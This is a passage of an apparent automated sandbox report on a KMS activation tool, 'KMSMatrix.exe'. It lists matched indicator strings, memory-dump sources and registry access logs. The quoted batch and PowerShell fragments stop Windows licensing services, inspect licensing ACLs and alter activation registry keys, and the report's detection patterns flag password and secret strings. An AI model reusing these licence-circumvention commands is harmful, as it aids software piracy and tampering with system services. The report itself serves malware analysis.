00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "dir /b /s /a:-d "!_Local!\Microsoft\Office\Licenses\*1*" 1>nul 2>nul && set _Identity=1" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "dir /b /s /a:-d "!ProgramData!\Microsoft\Office\Licenses\*1*" 1>nul 2>nul && set _Identity=1" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "dir /b "%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop*" %_Nul3% && set OffUWP=1" (Indicator: "dir "; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")6c:Tdbd,file/memory contains long string with (Indicator: "Get-Acl"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-ItemProperty"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-Item "; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-ChildItem"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-Content"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-Date"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-Help"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "Get-Content"; File: "s_w.ps1") file/memory contains long string with (Indicator: "Invoke-RestMethod"; File: "s_w.ps1") Found string "%psc% "$acl = Get-Acl '%%#'; if ($acl.Access.Where{ $_.IdentityReference -eq 'NT SERVICE\sppsvc' -and $_.AccessControlType -eq 'Deny' -or $acl.Access.IdentityReference -notcontains 'NT SERVICE\sppsvc'}) {Exit 2}" %nul%" (Indicator: "Get-Acl"; File: "m_srv.cmd") Found string "$OSPP = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" -ErrorAction SilentlyContinue).Path" (Indicator: "Get-ItemProperty"; File: "m_srv.cmd") Found string "$vNextPrids = Get-Item -Path $vNextRegkey -ErrorAction Ignore | Select-Object -ExpandProperty 'property' | Where-Object -FilterScript {$_.ToLower() -like "*retail" -or $_.ToLower() -like "*volume"}" (Indicator: "Get-Item "; File: "m_srv.cmd") Found string "$mode = (Get-ItemProperty -Path $vNextRegkey -Name $_).$_" (Indicator: "Get-ItemProperty"; File: "m_srv.cmd") Found string "$scaValue = Get-ItemProperty -Path $scaRegKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Get-ItemProperty"; File: "m_srv.cmd") Found string "$scaValue2 = Get-ItemProperty -Path $scaRegKey2 -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Get-ItemProperty"; File: "m_srv.cmd") Found string "$scaPolicyValue = Get-ItemProperty -Path $scaPolicyKey -ErrorAction Ignore | Select-Object -ExpandProperty "SharedComputerLicensing" -ErrorAction Ignore" (Indicator: "Get-ItemProperty"; File: "m_srv.cmd") Found string "$tokenFiles = Get-ChildItem -Path $tokenPath -Recurse -File -Filter "*authString*"" (Indicator: "Get-ChildItem"; File: "m_srv.cmd") Found string "$tokenParts = (Get-Content -Encoding Unicode -Path $_.FullName).Split('_')" (Indicator: "Get-Content"; File: "m_srv.cmd") Found string "$licenseFiles = Get-ChildItem -Path $licensePath -Recurse -File" (Indicator: "Get-ChildItem"; File: "m_srv.cmd") Found string "$license = (Get-Content -Encoding Unicode $_.FullName | ConvertFrom-Json).License" (Indicator: "Get-Content"; File: "m_srv.cmd") Found string "If ((Get-Date) -Gt (Get-Date $decodedLicense.MetaData.NotAfter))" (Indicator: "Get-Date"; File: "m_srv.cmd") Found string "ElseIf ((Get-Date) -Lt (Get-Date $expiry))" (Indicator: "Get-Date"; File: "m_srv.cmd") Found string "for /f %%a in ('%psc% "Get-Date -format HH_mm_ss"') do set _time=%%a" (Indicator: "Get-Date"; File: "m_srv.cmd") Found string "set "d=$acl = Get-Acl '%%A';"" (Indicator: "Get-Acl"; File: "m_srv.cmd") Found string "$allInSxs = Get-ChildItem -Path $winSxs | select Name" (Indicator: "Get-ChildItem"; File: "m_srv.cmd") Found string "Get-Help $script:MyInvocation.MyCommand.Path -detailed" (Indicator: "Get-Help"; File: "m_srv.cmd")6d:Tded,file/memory contains long string with (Indicator: "findstr "; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: "findstr "; File: "m_srv.cmd") Found string ">nul findstr /rxc:".*" "%~nx0"" (Indicator: "findstr "; File: "m_srv.cmd") Found string "echo: %serv_ste% | findstr /i "wuauserv" %nul% && set updatesblock=1" (Indicator: "findstr "; File: "m_srv.cmd") Found string "reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate /s 2>nul | findstr /i "NoAutoUpdate DisableWindowsUpdateAccess" %nul% && set updatesblock=1" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%psc% "!tls! !d1!" 2>nul | findstr /i "PurchaseFD DeviceAddResponse" 1>nul || set resfail=1" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if %_wmic% EQU 1 wmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL) get Name /value 2>nul | findstr /i "Windows" 1>nul && set _perm=1||set _perm=" (Indicator: "findstr "; File: "m_srv.cmd") Found string "echo %serv_e% | findstr /i "ClipSVC-1058 sppsvc-1058" %nul% && (" (Indicator: "findstr "; File: "m_srv.cmd") Found string "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s | findstr /i "\Activation-Renewal \Online_KMS_Activation_Script-Renewal" >nul && (" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i Windows %_Nul1% && (set WinVL=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if %winbuild% GEQ 10240 %_qr% %_Nul2% | findstr /i Windows %_Nul1% && (set _gvlk=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i EnterpriseG %_Nul1% && (call set W1nd0ws=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if %winbuild% LSS 9200 if %vol_off14% EQU 0 %_qr% %_Nul2% | findstr /i channel %_Nul1% && (set ret_off14=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i "%app%" %_Nul1% && (echo.&call :activate&exit /b)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if %winbuild% GEQ 14393 if %WinPerm% EQU 0 if %_gvlk% EQU 0 %_qr% %_Nul2% | findstr /i Windows %_Nul1% && (set _gvlk=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr "1" %_Nul1% && (echo.&call :activate&exit /b)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% | findstr /i "ec868e65-fadf-4759-b23e-93fe37f2cc29" %_Nul3% && (exit /b)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i "Windows" %_Nul3% && (exit /b)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i "Windows" %_Nul3% && (" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if %WinPerm% EQU 0 %_qr% %_Nul2% | findstr /i "Windows" %_Nul3% && set WinOEM=1" (Indicator: "findstr "; File: "m_srv.cmd") Found string "cscript //nologo "!_temp!\slmgr.vbs" /xpr %_Nul2% | findstr /i "permanently" %_Nul3% && set WinPerm=1" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr "1" %_Nul1% && (exit /b)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i KMSCLIENT %_Nul1% && (" (Indicator: "findstr "; File: "m_srv.cmd") Found string "%_qr% %_Nul2% | findstr /i channel %_Nul1% && (set ret_off14=1)" (Indicator: "findstr "; File: "m_srv.cmd") Found string "if defined _C16R reg query %_C16R% /v ProductReleaseIds %_Nul2% | findstr 2019 %_Nul1% && set loc_off%1=1" (Indicator: "findstr "; File: "m_srv.cmd")6e:Ta6d,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.26930000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00001580.00000000.66629.26950000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.26950000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00001580.00000000.66629.26970000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00001580.00000000.66629.26970000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.269D0000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.26A10000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.26A10000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00001580.00000000.66629.26A10000.00000004.mdmp") Found string "passwordFormat" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "passwordAttemptWindow" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "passwordStrengthRegularExpression" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp")6f:T630,"ESU_EDT% EQU 1 if %ActWindows% NEQ 0 for /f "tokens=2 delims==" %%G in ('%_qr%') do (set app=%%G&call :esuchk)if %W1nd0ws% EQU 1 if %ActWindows% EQU 0 (echo.&echo Windows activation is OFF...)set "_qr=%_zz7% %spp% %_zz2% %_zz5%ApplicationID='%_oApp%' and Description like '%%KMSCLIENT%%' %_zz6% %_zz3% ID %_zz8%"if %Off1ce% EQU 1 if %ActOffice% NEQ 0 for /f "tokens=2 delims==" %%G in ('%_qr%') do (set app=%%G&call :sppchkoff 1)reg delete "HKLM\%SPPk%" /f /v DisableDnsPublishing %_Null%reg delete "HKLM\%SPPk%" /f /v DisableKeyManagementServiceHostCaching %_Null%exit /b:sppoffset OffUWP=0if %winbuild% GEQ 10240 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe" %_Nul3% && (dir /b "%ProgramFiles%\WindowsApps\Microsoft.Office.Desktop*" %_Nul3% && set OffUWP=1if not %xOS%==x86 dir /b "%ProgramW6432%\WindowsApps\Microsoft.Office.Desktop*" %_Nul3% && set OffUWP=1)rem nothing installedif %loc_off21% EQU 0 if %loc_off19% EQU 0 if %loc_off16% EQU 0 if %loc_off1" (Indicator: "microsoft\windows\currentversion\app paths") in Source: KMSMatrix.exe "if %winbuild% GEQ 10240 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe" %_Nul3% && (" (Indicator: "microsoft\windows\currentversion\app paths") in Source: m_srv.cmd "if %winbuild% GEQ 10240 reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\msoxmled.exe" %_Nul3% && (" (Indicator: "microsoft\windows\currentversion\app paths") in Source: 00000000-00002616.00000000.66017.10000000.00000004.mdmp 00000000-00002616.00000001.67938.10000000.00000004.mdmp70:T11ec,file/memory contains long string with (Indicator: " Win32_OperatingSystem"; File: "KMSMatrix.exe") file/memory contains long string with (Indicator: " Win32_ComputerSystem"; File: "KMSMatrix.exe") Found string "if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"" (Indicator: " Win32_OperatingSystem"; File: "m_srv.cmd") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul && set _wmic=1" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "if %_wmic% EQU 1 wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "if %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul || (" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "set "_qrw=%_zz1% Win32_ComputerSystem %_zz3% CreationClassName %_zz4%"" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; File: "m_srv.cmd") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "if %_wmic% EQU 1 for /f "tokens=2 delims==" %%a in ('"wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2^>nul') do if not errorlevel 1 set "wmiSKU=%%a"" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul && set _cwmi=1" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul && set _wmic=1" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if %_wmic% EQU 1 wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "if %_wmic% EQU 0 %psc% "Get-CIMInstance -Class Win32_ComputerSystem | Select-Object -Property CreationClassName" 2>nul | find /i "computersystem" 1>nul" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "wmic path Win32_ComputerSystem get CreationClassName /value 2>nul | find /i "ComputerSystem" 1>nul || (" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "set "_qrw=%_zz1% Win32_ComputerSystem %_zz3% CreationClassName %_zz4%"" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")71:T5e2,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001580.00000000.66629.3B470000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001580.00000000.66629.55630000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002616.00000000.66017.789A0000.00000004.mdmp, 00000000-00002616.00000001.67938.789A0000.00000004.mdmp, 00000000-00002616.00000002.69859.789A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002616.00000000.66017.789A0000.00000004.mdmp, 00000000-00002616.00000001.67938.789A0000.00000004.mdmp, 00000000-00002616.00000002.69859.789A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\Device\"; Source: "00000000-00002616.00000000.66017.789A0000.00000004.mdmp, 00000000-00002616.00000001.67938.789A0000.00000004.mdmp, 00000000-00002616.00000002.69859.789A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}" (Indicator: "\DosDevices\"; Source: "00000000-00002616.00000000.66017.789A0000.00000004.mdmp, 00000000-00002616.00000001.67938.789A0000.00000004.mdmp, 00000000-00002616.00000002.69859.789A0000.00000004.mdmp")72:T9bc,file/memory contains long string with (Indicator: "net stop"; File: "KMSMatrix.exe") Found string "net stop ClipSVC /y %nul%" (Indicator: "net stop"; File: "m_srv.cmd") Found string "for %%# in (wlidsvc LicenseManager sppsvc) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net stop"; File: "m_srv.cmd") Found string "net stop sppsvc /y %nul%" (Indicator: "net stop"; File: "m_srv.cmd") Found string "sc query %1 | find /i "STOPPED" %_Nul1% || net stop %1 /y %_Nul3%" (Indicator: "net stop"; File: "m_srv.cmd") Found string "for %%# in (wlidsvc LicenseManager) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net stop"; File: "m_srv.cmd") Found string "sc query %%# | find /i "STOPPED" %nul% || net stop %%# /y %nul%" (Indicator: "net stop"; File: "m_srv.cmd") Found string "for %%# in (wlidsvc LicenseManager) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "sc query %%# | find /i "STOPPED" %nul% || net stop %%# /y %nul%" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp") Found string "net stop ClipSVC /y %nul%" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "for %%# in (wlidsvc LicenseManager sppsvc) do (net stop %%# /y %nul% & net start %%# /y %nul%)" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "net stop sppsvc /y %nul%" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp") Found string "sc query %1 | find /i "STOPPED" %_Nul1% || net stop %1 /y %_Nul3%" (Indicator: "net stop"; Source: "00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp")73:T1476,"KMSMatrix.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "4F8AE8C12445DA0100000000000000000000000002000000") "KMSMatrix.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C79850D12445DA0100000000000000000000000002000000") "KMSMatrix.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "07587F672545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\TIMEOUT.EXE"; Value: "3L+") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "1054D4D32445DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "66CF13D52445DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "A9B6CC1E2545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "8BDFEE382545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EB31D8492545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "EBDEF6502545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "AF2EF2522545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "3526AC532545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "51DB16552545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "697902682545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "ABDD8B692545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C5C3136A2545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "74A8BA6A2545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "8826BC6B2545DA0100000000000000000000000002000000") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "CA53B3292545DA0100000000000000000000000002000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "7D18B8292545DA0100000000000000000000000002000000")74:Ta1a,"KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FONTCACHE\PARAMETERS"; Key: "CLIENTCACHESIZE"; Value: "") "KMSMatrix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: 